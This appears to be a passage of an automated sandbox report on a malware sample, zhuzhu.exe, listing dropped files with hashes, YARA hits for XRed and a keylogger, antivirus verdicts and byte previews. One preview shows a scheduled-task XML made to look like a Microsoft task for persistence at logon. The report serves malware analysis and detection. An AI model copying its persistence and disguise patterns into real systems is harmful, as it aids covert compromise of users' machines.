Size (bytes):	4005354
Entropy (8bit):	2.300483170727101
Encrypted:	false
SSDEEP:	6144:Y16Ids+/wdV5yTrU3KMapwD0uWG5/iQ87E0/OwuHeaDoQTTvRWnaLH1tEfWSxHNS:YtC+Q2kispBrjHJQaLHkJxHNl
MD5:	D1AE3975D52BD8C8934A67E340069148
SHA1:	F7085C94D55C4ADB675A479DAB9FD383A80930D7
SHA-256:	9F2A62F5E894D9A376CC9C20C84D7170C2FFD26E945BF847EF5006FF2A65C729
SHA-512:	3575E3151750950D05D8F1B903888E0A42BCE9169DA0671187953AF7F90C40EFBD61960833CD517B9B82A957F0D0ED05129FB16B26D94A946EEA6FC38060EC65
Malicious:	false
Preview:	MDMP..a..... .........rg............TU..............h\......$....\|......4...............`.......8...........T...........(....A;.........4\|.......... ~..............................................................................eJ.......~......GenuineIntel............T.............rg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCF4.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6304
Entropy (8bit):	3.712771924555677
Encrypted:	false
SSDEEP:	192:R6l7wVeJVxn6OuQYiSoxI7pDH89bwdsfKQm:R6lXJr6OuQYgdwWf8
MD5:	9CC4B1A1AFA2D5A4CB64D2DF69BC0AB5
SHA1:	C74C752FFC46BC940C4B013A2D801BBA6F1CA499
SHA-256:	E7EEA4D33322EE2A7B518A7628591B813CADBBB3E9223C1B371356F397512CDF
SHA-512:	4FAA871DC264C3C97F64AF92693501E1CD949B5E39114788340F323073247212B55DE539A39E2A62483AD557933335E22F27EF9747524FA5062A189A926A5CE1
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.7.8.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD15.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4572
Entropy (8bit):	4.439458351406917
Encrypted:	false
SSDEEP:	48:cvIwWl8zsIJg77aI9OJWpW8VYGYm8M4JFCFx+q840TR2Z3d:uIjfOI7Y47VSJkCt2Z3d
MD5:	6D68AD6C735D7BBD82FFE14F479C2B3D
SHA1:	F806E9DA51E36BED9DCD7D02CE85C8A63274911A
SHA-256:	22762043A4AE11D81D953F60C7EC34EC23190877CEC3DF9F4F3A45993DE57ABB
SHA-512:	FED4C04184E18C7149EE95D8FD84EE6FE00A757A6FC8B03A3A2E3580DC30063B9AFE061688F145DCF855C80CB033A7135F6D14072686EEE7935D333BD5F04A4A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="653462" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE076.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6318
Entropy (8bit):	3.7147503597477587
Encrypted:	false
SSDEEP:	192:R6l7wVeJVxK6JAeYiSNbprE89bIdsfPYm:R6lXJG6XYlnIWfV
MD5:	3DB61FBC41D8034B5B338AE2EC43B3CF
SHA1:	F742A3632A7752865F1E37FAB9CD57561F39D259
SHA-256:	F8ACA9BE36E540B6A2B6D28CDC89E46282C1AA60E572BD75F9990821A1356607
SHA-512:	4F1E88B1F44BC7E195115942DA70A885E927133798456CEC48F8F2D4615D5ED899E0305EB32C413F05006360FFE473374E6BF9542D4F1B83FB18465C09C40004
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.7.8.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE096.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4572
Entropy (8bit):	4.441261713228417
Encrypted:	false
SSDEEP:	48:cvIwWl8zsIJg77aI9OJWpW8VYrYm8M4JFbFn+q845TR2Z3d:uIjfOI7Y47V3J7Lt2Z3d
MD5:	EDD9F542C202E3AA9B57702B955C608D
SHA1:	0CEE4B9B20483F6AC2CE3D20B26CD14F172D5820
SHA-256:	37A10D1A3140D3D37F304620063FBFAD165A5B80C40159C2D3A385160E759753
SHA-512:	2CE4E10B09930B4A007A29A173D812F93F3D86A219056DA2B034718B2E5EED1EEC1719FFC2DADBB51B6E54DBB0856F9A8DEDD705F0831B06C14AEDC6D0BA4E5E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="653462" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREF4A.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Dec 30 04:00:08 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	4028232
Entropy (8bit):	2.3021504157883053
Encrypted:	false
SSDEEP:	12288:O5saXsQa2NNhFGJxAwZy0xH1EZEO8g7gSsTsiq2:O5shQxNeyi1t
MD5:	432EDDE0D89D62355791E4FC936479B8
SHA1:	B0AD09BE65376B8A1EAEE5E1A52145176A9DFB89
SHA-256:	DE87A384FCA6D88A0412A0A47DAD7227FED98506361D38A742AD941CD5C8D002
SHA-512:	9DBFE7651C23F61E480561637EB666FC6AB586E8146FDB4BBECE28F27E86C8B9893450DEB4E2026DF88E52CD649CFAB30572354D0F7A007D79C50AC6E8EA6FAD
Malicious:	false
Preview:	MDMP..a..... .........rg.............U...............\......$...p\|......................`.......8...........T...............@.;..........\|...........~..............................................................................eJ..............GenuineIntel............T.............rg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Synaptics\RCXE77E.tmp

Download File

Process:	C:\Users\user\Desktop\zhuzhu.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	771584
Entropy (8bit):	6.641700569488142
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9IAr:ansJ39LyjbJkQFMhmC+6GD9/
MD5:	382B0F88502E718DFDF96DBC3AA3400A
SHA1:	7A3922C6DE7B42483E48644C917ADA5467FD1A44
SHA-256:	F2927C106573A6D3594AD58A3B5976C9E82964BF4D064821ABE4D3D58EF82479
SHA-512:	D6F0094332CE7D2C6CBC46B41EA71871DFDB9148F5C5E1C96C8F79E752543A59B6EF85FF6B26148A2ADBB605792392221383624087987BE280DC625A66048E78
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\RCXE77E.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\RCXE77E.tmp, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe

Download File

Process:	C:\Users\user\Desktop\zhuzhu.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6061056
Entropy (8bit):	7.174885705168195
Encrypted:	false
SSDEEP:	98304:unsmtk2asgF0ET9HlrxRVwJMACNiREvBvlvwvCvxvD:wL8Z9HhxRVwJMAqoetRqA9D
MD5:	675F03DB23D403573A3A6F708A0E4369
SHA1:	78EE9AFAFE6BF18D2C42D816629B6F9ED1E3EA2F
SHA-256:	EE4C8A187E1E1BD62ABE49FAECE1F327DC7718C736DD1E427C025D73FA796CF8
SHA-512:	C9055873FCBCEFD7AEB8414627D4AA7645014BC2A609A4993317A45465A2FFDBEB38DBFB6C7677350203FE1E7D1F3906FC670AE74D1A75FBD91533044F513240
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B......................R...................@...........................\..................@..............................B......H.Q..................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...H.Q.......Q.................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\zhuzhu.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\inst[1].exe

Download File

Process:	C:\Users\user\Desktop\._cache_zhuzhu.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4118496
Entropy (8bit):	7.743814085153487
Encrypted:	false
SSDEEP:	98304:9lBo/r7J2a4FL8VdL0hvADfHraEk1qhJonrnYmIb:1oD7x4yVdDfLa8ky
MD5:	AAA0F14BDFE3777EEE342C27DE409E6D
SHA1:	6B5F9A7B71E6B105D1BFA26B0C7A4931ED9E5179
SHA-256:	B35314C2C3B1AAB777D621C6FD8516A877B27EFBDE4DD4ADDD6843C411E96AA3
SHA-512:	D584D30083E34964D846C88EB558DBA338E3B8982D6D71EFEC36461AEA12127CFCBA2BE9510D9EF254A85680A2BA2DDB21583CE5E77D5CF3AC0A65800E5AB25A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Joe Sandbox View:	Filename: QQyisSetups64.exe, Detection: malicious, Browse Filename: wyySetups64.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......!..e..e..e....A.a..l.B.y..Bb..d..l.^.s..{.S.a..Bb..f..Bb..@..e.....l.T...l.S...{.C.d..l.F.d..Riche..................PE..L...,D.f......................2...................@...........................?......?...@.....................................\|.......l</...........>.H)...@>.h...@...................................@............................................text............................... ..`.rdata...M.......N..................@..@.data...L....0......................@....rsrc...l</......>/.................@..@.reloc..(....@>.......=.............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\PolicyManagement.xml

Download File

Process:	C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1893
Entropy (8bit):	5.212287775015203
Encrypted:	false
SSDEEP:	48:c55XzDl4Q2ZbXL6Q0QFdOFQOzN33O4OiDdKrKsTLXbGMv:O5XzDl4Q2ZbGQhFdOFQOzBdKrKsTLXbV
MD5:	E3FB2ECD2AD10C30913339D97E0E9042
SHA1:	A004CE2B3D398312B80E2955E76BDA69EF9B7203
SHA-256:	1BD6DB55FFF870C9DF7A0AAC11B895B50F57774F20A5744E63BBC3BD40D11F28
SHA-512:	9D6F0C1E344F1DC5A0EF4CAAD86281F92A6C108E1085BACD8D6143F9C742198C2F759CA5BDFFAD4D9E40203E6B0460E84896D1C6B8B1759350452E1DE809B716
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2006-11-10T14:29:55.5851926</Date>. <Author>Microsoft Corporation</Author>. <Description>????? AD RMS ?????????????????? Web ?????????,???????????</Description>. <URI>\AS AMD updata</URI>. <SecurityDescriptor>D:(A;;FA;;;BA)(A;;FA;;;SY)(A;;FRFX;;;WD)</SecurityDescriptor>. </RegistrationInfo>. <Triggers>. <LogonTrigger id="06b3f632-87ad-4ac0-9737-48ea5ddbaf11">. <Enabled>true</Enabled>. <Delay>PT30S</Delay>. </LogonTrigger>. </Triggers>. <Principals>. <Principal id="AllUsers">. <GroupId>S-1-1-0</GroupId>. <RunLevel>HighestAvailable</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>. <AllowHardTerm

C:\Users\user\AppData\Local\Temp\!@t2F16.tmp (copy)

Download File

Process:	C:\Users\user\Downloads\inst.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 648 bytes, 1 file, at 0x2c +A "setup.ini", number 1, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	648
Entropy (8bit):	7.46325903759004
Encrypted:	false
SSDEEP:	12:wztrG9cLEvuu0zPphueB3phrHtFGW4RJlXi2BzbtQ4F2k5xcGKB5bDHKq:wfLE2FzR8eB3phRkXZzbtL2yxcGabDqq
MD5:	DCF8A1E58C81782DC11CFF675B105B63
SHA1:	08D4821471E445965CAEAD5093AF44460CD74B92
SHA-256:	034283B5FA8C86E481E4B927A234A7A83533B42B851E0924E48BE77032182F27
SHA-512:	E36E9AA8278BF2055A5F16991F05B3329A404EF025A132A6E42AAEAB65E0BD05A43BE0E0829B54F7ECC95F8F2B6F82D32D08BD32F15600AF3B52B6372CC51E04
Malicious:	false
Preview:	MSCF............,...................F.......V..........YvT .setup.ini....C:.V.CKeQ..A..7.?......jQO...3..AB'i3.N:t.0..GnD...K....`.0.g...{..U..`..i..eY.5.U}v.^..}{.-....r..O..U{..d~_..'.v;...........,.EY.....&.....]]-...g._.eqq[.+.W.z.....?.\|.....]o......~N...B...,^.].iw.....z}{.6....'..).Y..2P..]..(&kZ.!..2o.=... ..y..!..It.P....HTL.K..]....<...E...\|.....?.>.....Bg.......o.M...ud......1..B..#P..'......3N......G.].....y4.......g.j}c...9..w..G....A....z....8..F/.s:..4U.....\Z..1.....{O"...Io..(.0.P:...BJ.<..::..x$*#...NF.<..F.`...E.r.L ..9KS .r..5..-b".h~[.1...dIa..ia...s...Az...W.Y.-...H.q.......<...`....0@J.....

C:\Users\user\AppData\Local\Temp\!@t2F16.tmp.P2P

Download File

Process:	C:\Users\user\Downloads\inst.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 648 bytes, 1 file, at 0x2c +A "setup.ini", number 1, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	648
Entropy (8bit):	7.46325903759004
Encrypted:	false
SSDEEP:	12:wztrG9cLEvuu0zPphueB3phrHtFGW4RJlXi2BzbtQ4F2k5xcGKB5bDHKq:wfLE2FzR8eB3phRkXZzbtL2yxcGabDqq
MD5:	DCF8A1E58C81782DC11CFF675B105B63
SHA1:	08D4821471E445965CAEAD5093AF44460CD74B92
SHA-256:	034283B5FA8C86E481E4B927A234A7A83533B42B851E0924E48BE77032182F27
SHA-512:	E36E9AA8278BF2055A5F16991F05B3329A404EF025A132A6E42AAEAB65E0BD05A43BE0E0829B54F7ECC95F8F2B6F82D32D08BD32F15600AF3B52B6372CC51E04
Malicious:	false
Preview:	MSCF............,...................F.......V..........YvT .setup.ini....C:.V.CKeQ..A..7.?......jQO...3..AB'i3.N:t.0..GnD...K....`.0.g...{..U..`..i..eY.5.U}v.^..}{.-....r..O..U{..d~_..'.v;...........,.EY.....&.....]]-...g._.eqq[.+.W.z.....?.\|.....]o......~N...B...,^.].iw.....z}{.6....'..).Y..2P..]..(&kZ.!..2o.=... ..y..!..It.P....HTL.K..]....<...E...\|.....?.>.....Bg.......o.M...ud......1..B..#P..'......3N......G.].....y4.......g.j}c...9..w..G....A....z....8..F/.s:..4U.....\Z..1.....{O"...Io..(.0.P:...BJ.<..::..x$*#...NF.<..F.`...E.r.L ..9KS .r..5..-b".h~[.1...dIa..ia...s...Az...W.Y.-...H.q.......<...`....0@J.....

C:\Users\user\AppData\Local\Temp\!@t2F16.tmp.dir\setup.ini

Download File

Process:	C:\Users\user\Downloads\inst.exe
File Type:	Generic INItialization configuration [360Safe]
Category:	modified
Size (bytes):	854
Entropy (8bit):	5.54815735280418
Encrypted:	false
SSDEEP:	24:9QQ08ETkByYcqQZLTvOIuAALne2toBFjlVH:9QUETacqQJWIdAzxtonlV
MD5:	CB13859BCE5ADF79C6B2E1C4601FA06A
SHA1:	5562D46E7FBD8A3FF92AFE2270B23F5E73FF45D7
SHA-256:	601CFCA4A7123503331D7641666F7F48164AEB2494B007ECE4C8880F51AF6E2D
SHA-512:	C355FAE3C70B875A08F4BA8BC7D9463D5DB686D2113970F0ED17A5D723DA2ADF82334AFAF3345AABB51A2A89873C15926341AA18D90FF374FA1FB68B82BF3AC4
Malicious:	false
Preview:	[360Installer]..SlideShowResourceURL=http://down.360safe.com/360safe/slideshow_new.cab..From=h_inst..Product=360Safe....[360Safe]..Name=360........Pid=h_inst..FID=setup_13.0.0.2008k..Version=13.0.0.2009..RegVersionFile=360Ver.dll..IsBeta=0..Urls=pdown://b2=100027000\|p2=B0A12507C5F7FB22D8E1EB5B2682074BD0218EF0\|p3=20\|p7=15\|c2=1\|b5=360......\|b6=........\|b7=5\|b9=1\|http://dl.360safe.com/setup_13.0.0.2008k.exe..MD5FileID=E901BD5EEF684DD36520382E5FC26236..SetupParam=/pid=h_inst /noreboot=1 /installer=1 /S..SlideShowImage=360safe_1.png,360safe_2.png,360safe_3.png,....[360signdata]..sign=0100000094BB9E7DD93895D39142938A10B443920CBE15CC1E5C20E47CA37526F047D27B4EE9567798C27E09EB3C005E187E0CE1A9B7EA4C2DA5D92120A8B6ABEBF270462455BBA3FD1AA5ACE5C44196EF1083BB9FAEDAD4C74F82DEFB96A173B5519816D7C03F06C87BAC684A0CF6FB459E487DCDEF38C3AF0864CB102E42D0FF3412A0

C:\Users\user\AppData\Local\Temp\!@t2F16.tmp.mem

Download File

Process:	C:\Users\user\Downloads\inst.exe
File Type:	data
Category:	dropped
Size (bytes):	17
Entropy (8bit):	2.409267252251469
Encrypted:	false
SSDEEP:	3:lsS+n:U
MD5:	983514E15961BFDA71A616E3CA412147
SHA1:	8A938B2349A33CB8A45975F5E1084AC4ED702C72
SHA-256:	D22207FA67A53E84F79BEB0C103430CCAC7A6D6EEC028262135DDE91079F5566
SHA-512:	2C3D100D47A806CCB23F9ABCE816869C80B21EF6B6479C5A7BDEE47F9B14FCD004EE99F30ECC39A60AE35B1ADB0D4DAC52E58DABDB1885940A8888AC1E61B60E
Malicious:	false
Preview:	.................

C:\Users\user\AppData\Local\Temp\1NDuEzX.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.270787698355859
Encrypted:	false
SSDEEP:	24:GgsF+0BvSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+yv+pAZewRDK4mW
MD5:	88C0E33BC5E2509956CD2C1311F82BF5
SHA1:	90143737D8A950A1209807E1B7552B80471BAAD9
SHA-256:	13E090F2FB1C1FD1E27DF5CDEF86A3FB07EB1312E086822A93637204399B9E90
SHA-512:	491C6DA0AF2775FCF7E65207FC6B52E394F2F352191F2A3AE44EAA7B7D27D8C81DEF1A188D6762F0801A5C78DEE629FC858D8E95BA21E3FC738F8C0A69BFEAB8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="1nQN_v4YCHmLYlVdyjVAXw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\24QnPNs.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259566156861248
Encrypted:	false
SSDEEP:	24:GgsF+0BGSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK++G+pAZewRDK4mW
MD5:	18595591767792A3EBBFCA9C1C2D60E1
SHA1:	FB39DA221E044B6C58BB54EE2FACF2A2FA865553
SHA-256:	F12F7B730AE6983D51D464FC285F61B5F050D7A9ADC52BDA69CF79270C33EA63
SHA-512:	D97C72EFBCBCC8DDEAC355148602DA49E75000025BD84B8CB4C42C37D1EDFB4126CDBEDD193A8929ACDE126C61617DFAA1B172DC1A44E24BC6F257E4F332B7E0
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="6_iEk5OOBcM11KBsxm2hrA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\2FUwTGf.ini

Download File

